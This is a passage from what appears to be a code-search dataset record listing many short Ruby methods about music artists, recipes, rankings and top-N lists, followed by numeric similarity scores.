Tag.find_top(:limit => 3, :conditions => {\n :taggable_type => 'song', :taggable_id => @most_played_by_artist.map(&:id)})\n\n @coolest_users = User.find_coolest :limit => 4\n @max_votes = @coolest_users.map(&:rating_count).max\n end", "def top_ten_list(category)\n # Select all of category from work instances\n work_by_category = Work.all.select { |work| work.category.downcase == \"#{category}\" }\n # Return max by vote count for top 10\n return work_by_category.max_by(10) { |work| work.votes.length }\n end", "def personal_top_three\n scores.max([scores.length, 3].min)\n end", "def list_artists\n @all_artists = DiscoverMusic::Scrape.all_artists\n puts \"\\nList of Artists:\"\n length = @all_artists.length - 6\n row1 = 0\n row2 = 1\n row3 = 2\n row4 = 3\n length.times do\n puts \"#{@all_artists[row1]} | #{@all_artists[row2]} | #{@all_artists[row3]} | #{@all_artists[row4]}\\n\"\n row1 += 1\n row2 += 1\n row3 += 1\n row4 += 1\n end\n puts \"\\n\" #i added this to make the interface look a little more clean\n end", "def top_three_recipes\n self.find_user_recipe_cards.sort_by{|rcard| rcard.rating}.reverse![0..2]\n end", "def top_three_recipes\n sorted_recipe_cards = self.recipe_cards.sort do |recipe_card|\n recipe_card.rating end\n if sorted_recipe_cards.length < 3\n sorted_recipe_cards\n else\n sorted_recipe_cards[-3,3]\n end\n end", "def artists(artist)\n if song.artist = nil || !Artist.find_by_name(name)\n song.artist = artist \n Artist.all << artist \n end \n end", "def top_three_recipes\n recipes_sorted_by_rating.reverse[0..2]\n end", "def top_tags(artist)\n get(:standard, {:method => \"artist.getTopTags\", :artist => artist})\n end", "def print_artists\n Artist.all.each do |artist|\n check_artist_song_count(artist)\n end\n puts \"There are #{Artist.count} artists in the catalog.\\n\"\nend", "def print_timeline(tweets)\n tweets.each do |tweet|\n count = 0\n if count < 10\n puts tweet[\"text\"]\n puts\n count += 1\n end\n end\nend", "def top_three_recipes\n my_recipes = self.recipe_cards\n my_recipes.sort{|a, b| b.rating <=> a.rating }.slice(0,3)\n end", "def artist_count\n self.artists.count\n end", "def top_albums \n lfm_path = \"artist.topAlbums&artist=#{@name}\"\n lfm_data = LastFm::fetch_data(lfm_path)\n return Album.create_from_hash(Hash.from_xml(lfm_data)['lfm']['topalbums']['album'])\n end", "def get_top_tracks(artist_id, options={})\n api_response = @api_client.make_api_request(:GET, \"artist/topTracks\", {:artistId => artist_id}, options)\n @api_client.track_digestor.list_from_xml(api_response.content.tracks)\n end", "def get_random_artist()\n today = Time.now.strftime('%Y-%m-%d')\n\n randArtist = Artist.find_by(id: rand(Artist.count))\n while randArtist == nil || randArtist.events.where('date >= ?', today).length < 20 do\n randArtist = Artist.find_by(id: rand(Artist.count))\n end\n return randArtist\n end", "def list_artists\n Artist.all.sort{|a, b| a.name <=> b.name}.each_with_index do |a, i|\n puts \"#{i+1}. #{a.name}\"\n#ex:expect($stdout).to receive(:puts).with(\"1. Action Bronson\")\n end\n end", "def top_three_recipes \n a = recipes.sort_by do |i| \n i.rating \n end \n a[-3..-1]\n end", "def i_love_each_of( albums )\n i = 0\n until i == albums.count \n puts \"I <3 #{albums[ i ]}!\" \n i += 1\n end\nend", "def sort_album_artist(value)\n @ole.SortAlbumArtist = value\n nil\n end", "def top_tracks\n lfm_path = \"artist.topTracks&artist=#{@name}\"\n lfm_data = LastFm::fetch_data(lfm_path)\n return Track.create_from_hash(Hash.from_xml(lfm_data)['lfm']['toptracks']['track'])\n end", "def display_track_count(artist_id)\n\t\tif @artist_list.has_key? artist_id\n\t\t\tartist_info = @artist_list[artist_id]\n\t\t\tputs \"The track count for artist #{artist_info.artist} (#{artist_info.id}) is #{artist_info.tracks.length}\"\n\t\telse\n\t\t\tputs \"Artist with ID #{artist_id} does not exist in database!\"\n\t\tend\n\tend", "def hunt_with_top_n(number_of_hunts, other_player_reputations)\n\t\t\tif number_of_hunts >= other_player_reputations.length\n\t\t\t\thunts = other_player_reputations.map { |r| 'h' }\n\t\t\t\treturn hunts\n\t\t\tend\n\n\t\t\tif number_of_hunts <= 0\n\t\t\t\thunts = other_player_reputations.map { |r| 's' }\n\t\t\t\treturn hunts\n\t\t\tend\n\n\t\t\tsorted = other_player_reputations.sort\n\t\t\tcutoff = sorted[sorted.length - number_of_hunts]\n\t\t\thunts = []\n\t\t\thunt_count = 0\n\t\t\tother_player_reputations.each_with_index do |r, index|\n\t\t\t\thunts[index] = (r > cutoff ? 'h' : 's')\n\t\t\t\thunt_count += 1 if r > cutoff\n\t\t\tend\n\t\t\tother_player_reputations.each_with_index do |r, index|\n\t\t\t\tif r == cutoff && hunt_count < number_of_hunts\n\t\t\t\t\thunts[index] = 'h'\n\t\t\t\t\thunt_count += 1\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\thunts\n\t\tend", "def sort_artist(value)\n @ole.SortArtist = value\n nil\n end", "def test_stories_find_popular\n assert_not_nil @rdigg.stories.find_popular(:count => 3)\n end", "def higher_items(limit=nil)\n limit ||= acts_as_list_list.count\n acts_as_list_list.\n where(\"#{quoted_position_column_with_table_name} <= ?\", current_position).\n where(\"#{quoted_table_name}.#{self.class.primary_key} != ?\", self.send(self.class.primary_key)).\n reorder(acts_as_list_order_argument(:desc)).\n limit(limit)\n end", "def high_ranking_cards\n cards.map do |card|\n if card.rank >= 11\n high_cards << card\n end\n end\n high_cards\n end", "def search_artist\n artist_query = @prompt.ask('What is the name of the artist?'.colorize(:light_green))\n artists = RSpotify::Artist.search(artist_query, limit: 5)\n cleaned_results = []\n artists.each { |a| cleaned_results << a.name.to_s }\n system('clear')\n selection = @prompt.select('Please select one of the search results:', cleaned_results)\n store_artist(selection)\n end", "def list_artists\n sorted_list = Artist.all.sort_by {|artist| artist.name}\n sorted_list.each_with_index do |artist, idx|\n puts \"#{(idx + 1).to_s}. #{artist.name}\"\n end\n end", "def add_top_suggestion_to_cart\n add_to_cart(suggestions.top)\n end", "def recommend_artists(current_user, recommended_user)\n recommended_artists = Array.new\n artists = retrieve_favourite_artists(recommended_user)\n artists.each do |artist|\n unless current_user.artists.to_a.include?(artist[0]) || recommended_artists.length >= 10\n recommended_artists << artist[0]\n end\n end\n recommended_artists\n end", "def top_users(limit = 10)\n @users.sort_by{|user_id,user| -user.score}.first(limit).map do |t|\n {\n :id => t.first,\n :score => t.last.score,\n :common_tracks_count => t.last.common_tracks_count,\n :total_tracks_count => t.last.total_tracks_count\n }\n end\n end", "def has_more(object,category)\n if category=='music'\n songs = Music.where(user_id: get_current_user.id).limit(5)\n return (songs.count-object.count) > 0\n elsif category=='movies'\n movies = Movie.where(user_id: get_current_user.id).limit(5)\n return (movies.count-object.count) > 0\n elsif category=='games'\n games = Game.where(user_id: get_current_user.id).limit(5)\n return (games.count-object.count) > 0 \n elsif category=='documents'\n documents = Document.where(user_id: get_current_user.id).limit(5)\n return (documents.count-object.count) > 0\n else\n end\n end", "def show\n @music = Music.find(params[:id])\n @newest_musics=Music.limit(10).order('created_at asc')\n @hot_musics=Music.limit(10).order('counter desc')\n @recomand_musics=Music.limit(10)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @music }\n end\n end", "def this_teams_top_players(number_of_players)\n \tnfl_players.order(:points).last(number_of_players)\n end", "def top_tags\n lfm_path = \"artist.getTopTags&artist=#{@name}\"\n lfm_data = LastFm::fetch_data(lfm_path)\n return Tag.create_from_hash(Hash.from_xml(lfm_data)['lfm']['toptags']['tag']) \n end", "def high_ranking_cards\n\n array_high_cards = []\n\n cards.each do |card|\n\n if card.rank >= 11\n array_high_cards << card\n end\n\n end\n\n array_high_cards\n\n end", "def sort_album_artist\n @ole.SortAlbumArtist\n end", "def top_three_recipes\n self.recipes.sort_by {|info| info.rating}.pop(3)\n end", "def hit?\n @rank >= 10\n end", "def hit?\n @rank >= 10\n end", "def hit?\n @rank >= 10\n end", "def top(number)\n 1.upto(number) { |count| puts ('*' * count).center(number) if count.odd? }\nend", "def base_popularity\n 10\n end", "def all_top_songs\n songs = Hash.new\n Artist.all.each do |artist|\n begin\n song = artist.top_song_names[0]\n songs[artist.name] = song\n rescue URI::InvalidURIError\n puts \"Unable to retrive song for #{artist.name}\"\n rescue NoMethodError\n puts \"'NoMethodError' for #{artist.name}\"\n end\n end\n return songs\n end", "def top_three_memes\n # Get top 3 rarity total scores\n top_rarities = Rarity.order('total_score DESC').limit(3)\n top_rarities.map do |rarity|\n Meme.find(rarity.meme_id)\n end\n end", "def get_high_cards(cards)\n @cards_by_score.each_key do |card|\n if cards.length < 5 && !cards.include?(card)\n cards << card\n end\n end\n end", "def top_three_recipes\n recipe_cards.max_by(3) {|recipe_cards| recipe_cards.rating}\n end", "def popular_res\n separate\n @res_arr.each do |res|\n if res[:likes] > 600\n return \"The following restuarant is popular: #{res[:name]}\"\n end\n end\nend", "def show_unplayed_by artist\n if $albums.any?\n x = nil\n artist_unplayed = []\n $albums.each do |album, status|\n if album[1].downcase == artist.downcase\n if status == \"unplayed\"\n puts \"#{album[0]} by #{album[1].gsub('\"', '')}\"\n artist_unplayed.push(album)\n x = true\n end\n end\n end\n if x == true\n return artist_unplayed\n else\n puts \"You don't have any unplayed albums by that artist.\"\n end\n else\n puts \"You don't have any albums! You should add some.\"\n end\nend", "def display_albums(margin, box_height, bar_width)\n spacing = 0\n spacing_add = box_height + margin\n i = @page\n while i < @viewable_albums + @page\n display_album(@data_array[i].title, spacing, box_height, margin, bar_width, PRIMARY, \"album_button_#{i}\",i) rescue nil\n spacing += spacing_add\n i += 1\n end\nend", "def check_number_of_results(li_arr)\n puts \"#{@@info_indicate} start checking if displaying correct number of results\"\n if result_more_then_ten\n assert_true(li_arr.size == 10, 'display 10 results')\n else\n #result_more\n assert_true(li_arr.size == get_data_total_results, 'display all results')\n end\n end", "def sort_artist\n @ole.SortArtist\n end", "def get_any_top(number)\n images.take(number)\n end", "def popularity_list\n @popularity_list=@movie_index.sort_by { |x| -x[1].size }.col(0) if @popularity_list.nil?\n @popularity_list\n end", "def top_5\n count = @sentence.blips.group(:body).distinct.count\n percent = count.each {|k, v| count[k] = v / @sentence.blips_count.to_f }\n statistics = percent.sort_by { |k, v| v }.reverse[0..4].flatten.each { |k, v| puts \"#{k}: #{v}\" }\n end", "def by_make_top(make, number)\n by_make(make).take(number)\n end", "def list_songs_by_artist\n puts \"Please enter the name of an artist:\"\n input = gets.chomp\n if artist = Artist.find_by_name(input)\n sort_by_name = artist.songs.sort_by do |song|\n song.name\n end\n sort_by_name.each.with_index(1) do |song, i|\n puts \"#{i}. #{song.name} - #{song.genre.name}\"\n end\n end\n end", "def how_orders_of_three_most_popular_books\n books_count.each {|title, times| puts \"The most popular books, '#{title}', ordered #{times}\" if times == books_count.values.max }\n end", "def top_10_followers\n users_array = UserLeague.all.collect{|user| user.user_id}\n most_common_value = users_array.uniq.sort_by{ |i| users_array.count( i ) }.reverse\n biggest_followers = most_common_value.map {|user| User.find(user).name}[0..9]\n users_league_count = most_common_value.map {|user| User.find(user).leagues.count}[0..9]\n counter = 0\n return_hash = {}\n until counter == biggest_followers.length do\n return_hash[biggest_followers[counter].to_s] = users_league_count[counter].to_s\n counter += 1\n end\n return_hash\nend" ]
[ "0.691101", "0.64831734", "0.6441237", "0.63333327", "0.6108964", "0.587203", "0.5822928", "0.5773656", "0.57640713", "0.57528085", "0.5726043", "0.57206106", "0.57145727", "0.56875575", "0.5681751", "0.56659925", "0.56645536", "0.5651497", "0.5651497", "0.5636721", "0.5610525", "0.5602032", "0.55661666", "0.54903316", "0.5478336", "0.5469834", "0.5468335", "0.5451075", "0.54274863", "0.5400718", "0.5388202", "0.53880256", "0.53830266", "0.53826654", "0.5370996", "0.5317015", "0.531661", "0.53151894", "0.5286771", "0.52835274", "0.52777183", "0.5260593", "0.52492666", "0.52230585", "0.5213548", "0.5210501", "0.5204779", "0.5204035", "0.52033746", "0.5193094", "0.5186021", "0.51846874", "0.5184343", "0.517077", "0.51644206", "0.5162294", "0.51619965", "0.51467216", "0.5136831", "0.51364493", "0.5135792", "0.513364", "0.5133424", "0.5129419", "0.5119271", "0.5111858", "0.5104554", "0.5103617", "0.50990146", "0.50969446", "0.5082211", "0.50761086", "0.5074405", "0.5072695", "0.5068611", "0.50626993", "0.5057906", "0.5053439", "0.50520504", "0.50516677", "0.50516677", "0.50516677", "0.5041277", "0.5040883", "0.50371385", "0.50338364", "0.5033027", "0.5032967", "0.5032282", "0.5027465", "0.5025261", "0.50194174", "0.5005832", "0.5002357", "0.49964002", "0.49913096", "0.49865663", "0.49831793", "0.4982884", "0.4975495" ]
0.68331295
1
return number of artists in Top 10
def number_of_artists return @artists.length end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def top_five_artists(db, genre_name)\n db.execute \"SELECT artists.name, COUNT(*) as c\n FROM tracks\n JOIN albums ON albums.id = tracks.album_id\n JOIN artists ON artists.id = albums.artist_id\n JOIN genres ON tracks.genre.id = genres.id\n WHERE genres.name = '#{genre_name}'\n GROUP BY artists.name\n ORDER BY c DESC\n LIMIT 5\n \" # TODO: return list of top 5 rock artists\nend", "def getTop10AwesomePeeps\n @persons.sort!\n return @persons[-10..-1]\n end", "def n_artists\n if ! @n_artists_found\n @n_artists_found = songs_found\n .group_by{ |s| s[IDX_ARTIST_ID] }\n .length\n end\n return @n_artists_found\n end", "def authors_top\n\t\t\t@db.js('musicthoughts.top_authors($1)', [20])\n\t\tend", "def top_ten_list(category)\n # Select all of category from work instances\n work_by_category = Work.all.select { |work| work.category.downcase == \"#{category}\" }\n # Return max by vote count for top 10\n return work_by_category.max_by(10) { |work| work.votes.length }\n end", "def get_top_artists( params )\n LastFM.get( \"chart.getTopArtists\", params )\n end", "def top_ten\n sorted = @person_array.sort { |a, b| a.awesomeness <=> b.awesomeness }\n sorted.reverse!\n return sorted[0..9] if sorted.size >= 10\n return sorted\n end", "def filter_articles(articles)\n include PopularitySearch\n #this isn't fair to more recent articles\n popularity_cutoff = 300\n articles.each do |article|\n article[:twitter_pop] = twitter_popularity(article[:url])\n end\n articles.select do |article|\n article[:twitter_pop] > popularity_cutoff\n end\n articles = articles.sort_by{|article| article[:twitter_pop]}.reverse\n return articles[0..2] #only pick the top 3 if there's more than 3\nend", "def artist_count\n return @artists.length\n end", "def findTopMovies(actor, top_number=100) \r\n movie_array = []\r\n\r\n actor.film_actor_hash.each_key {|key| movie_array.push(key)}\r\n\r\n return movie_array.take(top_number)\r\nend", "def top_hits_count\n return @top_results.length || 0\n end", "def top_10 (matches)\n matches.sort_by! { |match| match['score'] }.reverse[:10]\nend", "def base_popularity\n 10\n end", "def get_top_news(start=0,count=TopNewsPerPage)\n numitems = $r.zcard(\"news.top\")\n news_ids = $r.zrevrange(\"news.top\",start,start+(count-1))\n result = get_news_by_id(news_ids,:update_rank => true)\n # Sort by rank before returning, since we adjusted ranks during iteration.\n return result.sort_by(&:rank), numitems\nend", "def top_tracks_for_random_artist\n unless @artist\n @artist = Lineup.select_random_artist\n end\n\n options = { :query => { :api_key => LASTFM_API_KEY, :limit => \"10\", :format => \"json\" } }\n top_tracks_response = self.class.get(\"/2.0/?method=artist.gettoptracks&artist=#{ERB::Util.url_encode(@artist)}\",options)\n\n top_tracks_response = top_tracks_response.try(:[],\"toptracks\").try(:[],\"track\")\n if top_tracks_response\n top_tracks_response\n else\n @artist = nil\n top_tracks_for_random_artist\n end\n end", "def artist_count\n self.artists.count\n end", "def top_artists\n \n artists=[]\n spotify_artists = JSON.parse(api_call(\"https://api.spotify.com/\",\"v1/me/top/artists\"))\n\n spotify_artists['items'].each do |item|\n new_artist = Artist.find_or_create_by(name: item['name'], spotify_id: item['id'])\n new_artist.update(genre_list: item['genres'])\n artists << new_artist\n end\n\n artists\n\n end", "def top_artists(tag)\n get(:standard, {:method => \"tag.getTopArtists\", :tag => tag})\n end", "def top_ten\n reverse_sort = self.sort.reverse\n return reverse_sort[0, 10]\n end", "def count_people_ordered_most_popular_books(count_of_popular_books)\n most_popular_books = most_popular\n people = Array.new\n most_popular_books[0..count_of_popular_books].each do |book|\n @readers.each do |name, value|\n value.orders.detect do |order|\n# p \"order.book=\"+order.book.to_s\n# p \"book=\"+book.title.to_s\n p \"Book.class= \"+order.book.class.to_s\n people << value if book == order.book\n end\n end \n end\n return people.size #maybe a good idea return all people?\n end", "def index\n @most_played_artist = Song.most_played_artist\n @most_played_by_artist = Song.find_most_played_by_artist :limit => 3\n\n @most_played_players = User.find_players_of_artist(@most_played_artist, :limit => 4)\n\n @most_played_tags = Tag.find_top(:limit => 3, :conditions => {\n :taggable_type => 'song', :taggable_id => @most_played_by_artist.map(&:id)})\n\n @coolest_users = User.find_coolest :limit => 4\n @max_votes = @coolest_users.map(&:rating_count).max\n end", "def topAlbums(artist)\n\tartistinfo = HTTParty.get(\"http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=#{artist}&api_key=#{API_KEY}&format=json\")\n\treturn artistinfo\nend", "def top_songs(n = 3)\n top_list = @tracks.sort_by {|s| s.play_count}.reverse\n return top_list[0..n-1].compact\n end", "def top_10_followers\n users_array = UserLeague.all.collect{|user| user.user_id}\n most_common_value = users_array.uniq.sort_by{ |i| users_array.count( i ) }.reverse\n biggest_followers = most_common_value.map {|user| User.find(user).name}[0..9]\n users_league_count = most_common_value.map {|user| User.find(user).leagues.count}[0..9]\n counter = 0\n return_hash = {}\n until counter == biggest_followers.length do\n return_hash[biggest_followers[counter].to_s] = users_league_count[counter].to_s\n counter += 1\n end\n return_hash\nend", "def top_5\n count = @sentence.blips.group(:body).distinct.count\n percent = count.each {|k, v| count[k] = v / @sentence.blips_count.to_f }\n statistics = percent.sort_by { |k, v| v }.reverse[0..4].flatten.each { |k, v| puts \"#{k}: #{v}\" }\n end", "def top_readers\n readers_with_duplicates = []\n self.articles.each { |article| readers_with_duplicates << article.readers }\n\n readers_with_duplicates.flatten!\n readers = readers_with_duplicates.uniq\n frequency = Hash.new(0)\n readers_with_duplicates.each { |r| frequency[r] += 1 }\n array = frequency.sort_by { |key, value| value }\n return [array[-1], array[-2], array[-3]]\n\n end", "def top_rentals\n return @badfruit.parse_movies_array(JSON.parse(@badfruit.get_lists_action(\"top_rentals\")))\n end", "def popularity\n views*1 + comments.size*1\n end", "def topn_by_downloads (keyinfo, n)\n topn_by_downloads = keyinfo.sort_by{ |x| x[:total_downloads] }.reverse.slice(0 .. n-1)\n top_table topn_by_downloads\nend", "def top_three_recipes\n recipes_sorted_by_rating.reverse[0..2]\n end", "def test_top_musicians\n users = User.find_top_musicians\n assert_equal 2, users.size\n assert users.all? { |u| u.tracks_count >= 2 }\n assert users.all? { |u| !u.avatar.nil? }\n end", "def news artist\n url = \"http://developer.echonest.com/api/v4/artist/news?api_key=#{ECHONEST_API_KEY}&format=json&name=#{artist}&results=#{RESULTS}\"\n result = parseURL url\n result[\"response\"][\"total\"]\nend", "def top_fans(artist)\n get(:standard, {:method => \"artist.getTopFans\", :artist => artist})\n end", "def comic_count\r\n \tsorted_articles.length\r\n end", "def find_most_played_songs\n top_songs_with_play_count_pair = self.lib.songs.reject do |song|\n #this line is describing records it will get rid of\n (!song.metadata.has_key?('play_count')) or (song.metadata['play_count'] == nil)\n end\n\n top_songs_played_sorted = top_songs_with_play_count_pair.sort do |a, b| \n b.metadata['play_count'].to_i <=> a.metadata['play_count'].to_i\n end\n\n top_songs_played = top_songs_played_sorted.first(5)\n song_names_of_top_played = top_songs_played.collect {|song| song.metadata['name']} \n end", "def top_three_recipes\n self.find_user_recipe_cards.sort_by{|rcard| rcard.rating}.reverse![0..2]\n end", "def first_author_publications_cnt()\n self.investigator_abstracts.first_author_abstracts.length\n end", "def top_three_recipes\n recipe_cards.max_by(3) {|recipe_cards| recipe_cards.rating}\n end", "def show_most_popular\n @card_sets = CardSet.order(\"impressions_count DESC\")[0..19]\n end", "def top_10_fans\n users_array = UserTeam.all.collect{|user| user.user_id}\n most_common_value = users_array.uniq.sort_by{ |i| users_array.count( i ) }.reverse\n biggest_fans = most_common_value.map {|user| User.find(user).name}[0..9]\n users_teams_count = most_common_value.map {|user| User.find(user).teams.count}[0..9]\n counter = 0\n return_hash = {}\n until counter == biggest_fans.length do\n return_hash[biggest_fans[counter].to_s] = users_teams_count[counter].to_s\n counter += 1\n end\n return_hash\nend", "def top_supported_articles(number = 1)\n #todo clean this up. last is dodgy at best.\n articles.all(:order => 'support_count').first(number)\n end", "def ranked_medals(top = 56)\n Medal.find(:all, :conditions => [\"playlist_type = ? AND gamertag_id = ? AND quantity > ?\", 1, self.id, 0], :order => 'quantity DESC', :include => :medal_name, :limit => top)\n end", "def test_stories_find_top\n assert_not_nil @rdigg.stories.find_top(:count => 3)\n end", "def top_actors\n @top_actors ||= imdb_top_actors.sort_by { |actor, parameters| -parameters[:count] }\n \n logger.debug \"Top Actors: #{@top_actors.inspect}\"\n @top_actors\n end", "def top_three_recipes\n top_three = RecipeCard.all.select {|atr| atr.user == self}\n top_three.sort_by {|atr| atr.rating}.reverse\n top_three[0..2]\n end", "def popularity_list\n @popularity_list=@movie_index.sort_by { |x| -x[1].size }.col(0) if @popularity_list.nil?\n @popularity_list\n end", "def contributors_top\n\t\t\t@db.js('musicthoughts.top_contributors($1)', [20])\n\t\tend", "def cult_population\n followers_list.size\n end", "def feeds_with_top_tweets\n\n end", "def top_three_recipes\n my_recipes = self.recipe_cards\n my_recipes.sort{|a, b| b.rating <=> a.rating }.slice(0,3)\n end", "def topTenBooks\n\t\t@requests = requests.order('count desc').limit(10)\n\tend", "def artist_count\n @model.artists.count\n end", "def test_stories_find_popular\n assert_not_nil @rdigg.stories.find_popular(:count => 3)\n end", "def top_three_recipes \n a = recipes.sort_by do |i| \n i.rating \n end \n a[-3..-1]\n end", "def popularity(movie_id)\n @movie_index[movie_id].size\n end", "def top_users(limit = 10)\n @users.sort_by{|user_id,user| -user.score}.first(limit).map do |t|\n {\n :id => t.first,\n :score => t.last.score,\n :common_tracks_count => t.last.common_tracks_count,\n :total_tracks_count => t.last.total_tracks_count\n }\n end\n end", "def top_albums(artist)\n get(:standard, {:method => \"artist.getTopAlbums\", :artist => artist})\n end", "def top_artists(country)\n get(:standard, {:method => \"geo.getTopArtists\", :country => country})\n end", "def item_count\n titles.size\n end", "def top_tags(artist)\n get(:standard, {:method => \"artist.getTopTags\", :artist => artist})\n end", "def set_top_10_related_sub_reddits\n @top_10_related_sub_reddits = RelatedSubReddit\n .order(weight: :desc)\n .limit(20)\n .all\n .to_a\n .each_slice(2).map(&:last)\n end", "def list_artists\n all_artists = artist_data[\"artists\"][\"items\"]\n all_artists.each do | artist |\n artist_name = artist[\"name\"]\n artists[artist_name] ||= {}\n artists[artist_name][:popularity] = artist[\"popularity\"]\n end\n artists\n end", "def personal_top_three\n scores.max([scores.length, 3].min)\n end", "def artists\n beef = Artist.all.map{|exp| exp.years_active} #all artist\n beef_tot = beef.inject{|sum, n| sum + n} #sum of all\n avg = (beef_tot / beef.length).round(0) #avg of the num of elements(beef_tot) divide by number of arrays we summed up (beef.length)\n # binding.pry\n\n end", "def top_three_memes\n # Get top 3 rarity total scores\n top_rarities = Rarity.order('total_score DESC').limit(3)\n top_rarities.map do |rarity|\n Meme.find(rarity.meme_id)\n end\n end", "def print_artists\n Artist.all.each do |artist|\n check_artist_song_count(artist)\n end\n puts \"There are #{Artist.count} artists in the catalog.\\n\"\nend", "def top10(url)\n\t\tlista=recorre(url)\n\t\tfor i in 1..10\n\t\t\tdatos(lista[i][0])\n\t\tend\n\tend", "def top_three_recipes\n top_three_cards = recipe_cards.sort_by { |card| card.rating}.reverse.slice(0, 3)\n top_three_cards.map { |c| c.recipe }\n end", "def visible_scrapers(heights)\n max = 0\n r = 0\n heights.each do |item|\n if item > max\n r += 1\n max = item\n end\n end\n r\nend", "def visible_scrapers(heights)\n max = 0\n r = 0\n heights.each do |item|\n if item > max\n r += 1\n max = item\n end\n end\n r\nend", "def post_top_50\n top100 = {}\n list_of_people.each do |person|\n count = @platform.count_for(person)\n next if count < THRESHOLD\n puts \"#{person} had #{count} hits!\"\n top100[person] = count\n end\n\n top100aggregate = @other_aggregations.aggregate(top100)\n top50 = top_50_people(top100aggregate)\n\n post_100(top50)\n social_media_links(top50)\n end", "def top_categories\n Category\n .joins(:memes)\n .group(:id)\n .order('COUNT(memes.id) DESC')\n .limit(10)\n end", "def topTracks(artist)\n\tartistinfo = HTTParty.get(\"http://ws.audioscrobbler.com/2.0/?method=artist.gettoptracks&artist=#{artist}&api_key=#{API_KEY}&format=json\")\n\treturn artistinfo\nend", "def popularity \n array = []\n Meal.all.select do |meal|\n if meal.recipe == self\n array << meal\n end\n end\n puts \"#{self.title} has been made #{array.length} times!\"\n end", "def top_ten_users\n # Get top 3 dank ranks total scores\n top_danks = DankRank.order('total_score DESC').limit(6)\n # For each top dank_rank, retrieve [lvl, points, id]\n top_users = top_danks.map { |dank| [User.find(dank.user_id).dank_rank.total_score, User.find(dank.user_id).dank_rank.rank_up_xp_progress, User.find(dank.user_id).id] }\n # Sort that array by level and then points\n top_users.sort!{|a, b| b <=> a}\n # Return the users\n return top_users.map { |array| User.find(array[2]) }\n end", "def most_commented\n @movies = Movie.joins(:comment).\n select('movie.movie_id, movie.title, count(movie.movie_id) as count').\n group('movie.movie_id').\n order('count DESC').take(10)\n end", "def top_students(grade_hash, number_of_students)\nsorted_hash = averages(grade_hash).sort_by {|name, grade| grade}\nsorted_hash.reverse!\ntop_array = []\nsorted_hash.each do |k, v|\n top_array << k\nend\ntop_array.take(number_of_students)\nend", "def top_n(n = 10)\n logger.info(\"Top #{n} tags requested\")\n tags = @stream_parser.hash_store.fresh_tags(@config[:tag_ttl])\n HashtagExtractor.extract_tags!(tags, n, @config[:case_sensitive])\n end", "def num_movies_of_theater\n self.movies.count\n end", "def blogs artist\n url = \"http://developer.echonest.com/api/v4/artist/blogs?api_key=#{ECHONEST_API_KEY}&format=json&name=#{artist}&results=#{RESULTS}\"\n result = parseURL url\n result[\"response\"][\"total\"]\nend", "def top_three_recipes\n self.recipes.sort_by {|info| info.rating}.pop(3)\n end", "def get_interest_rank\n \n rank = (self.stories.count * 2) + (self.adding_users.count * 5)\n\n end", "def cult_population\n my_followers.count\n end", "def rank_actors \n top_actors.inject([]) do |sorted, element|\n sorted << if sorted.last and sorted.last[:count] == element.last[:count]\n { :actor => element.first, :count => element.last[:count], :rank => sorted.last[:rank] }\n else\n { :actor => element.first, :count => element.last[:count], :rank => sorted.length + 1 }\n end\n end\n end", "def top_students(grade_hash, number_of_students)\n scores = averages(grade_hash)\n shortlist = scores.sort_by{|k,v| v}.reverse.take(number_of_students)\n names = shortlist.map{|k,v| k}\nend", "def popularity_contest\n @popular = Work.maximum(:impressions_count).to_f\n n = 1 - self.impressions_count.fdiv(@popular).round(2)\n return (n*255).round\n end", "def popularity(movieid)\n movielist = popularitylist\n position = movielist.index movieid.to_s.to_sym\n if position\n puts @moviedata.keys.size\n return @moviedata.keys.size - position\n else\n puts \"Movie not found\"\n return nil\n end \n end", "def test_stories_find_popular_diggs\n assert_not_nil @rdigg.stories.find_popular_diggs(:count => 3)\n end", "def top_students(grade_hash, number_of_students)\n averages(grade_hash)\n .sort_by { |key, value| value }.reverse\n .map { |key, value| key}\n .take(number_of_students)\nend", "def top_three_recipes\n\t\trecipes.select { |recipe| recipe.rating }.sort_by { |recipe| recipe.rating }.last(3)\n\tend", "def author_count\n revisions = Marginalia.revisions(params[:id])\n authors = []\n revisions.collect {|rev| authors << rev['user']}\n authors.uniq!\n render :text => authors.length\n end", "def top_readers\n hash = @orders.inject(Hash.new(0)) do |count, order|\n count[order.reader.name] += 1\n count\n end\n top = hash.max_by { |key, value| value }.first\n puts \"Active reader is: #{top}\"\n end", "def count\n size = 0\n core_search.group(\"name.id, #{main_group_by_columns}\").each do |_x|\n size += 1\n end\n size\n end", "def this_teams_top_players(number_of_players)\n \tnfl_players.order(:points).last(number_of_players)\n end", "def top_students(grade_hash, number_of_students)\n sorted_hash = averages(grade_hash).sort_by {|name, grade| grade}\n #reverse! takes the items in an array and reverses them without making a new array\n sorted_hash.reverse!\n top_array = []\n sorted_hash.each do |key, value|\n top_array << key\n end\n top_array.take(number_of_students)\nend", "def popular\n act = self.listings.map {|l| l.activity_id}\n activities = act.map {|a| Activity.find(a)}\n counts = Hash.new 0\n act.each do |id|\n counts[id] += 1\n end\n popular = 0\n appearances = 0\n counts.each do |id, value|\n if value > appearances \n appearances = value\n popular = id\n end\n end\n Activity.find(popular)\n end", "def top_students(grade_hash, number_of_students)\n averages(grade_hash).sort_by { |k, v| v}.reverse.map{ |k, v| k }.take(number_of_students)\nend", "def top_artists(spot_user)\n @top_artists_hash = {}\n spot_user.top_artists[0..19].each do |fav|\n @top_artists_hash[fav.name] = {}\n\n @user_artist_related[fav.name].each do |fav_rel_art|\n @top_artists_hash[fav.name][fav_rel_art] = {}\n \n @rel_artist_rec[fav_rel_art].each do |user_also_rec|\n if fav.name != user_also_rec\n @top_artists_hash[fav.name][fav_rel_art][user_also_rec] = \"1\"\n end\n end\n if @top_artists_hash[fav.name][fav_rel_art] == {}\n @top_artists_hash[fav.name][fav_rel_art][\"none\"] = \"0\" \n end\n end\n end\n @top = @top_artists_hash.to_json\n\n end", "def popularity(id_number)\n return temp_movie = @movie_list[id_number].popularity unless @movie_list[id_number] == nil\n return 0\n end" ]
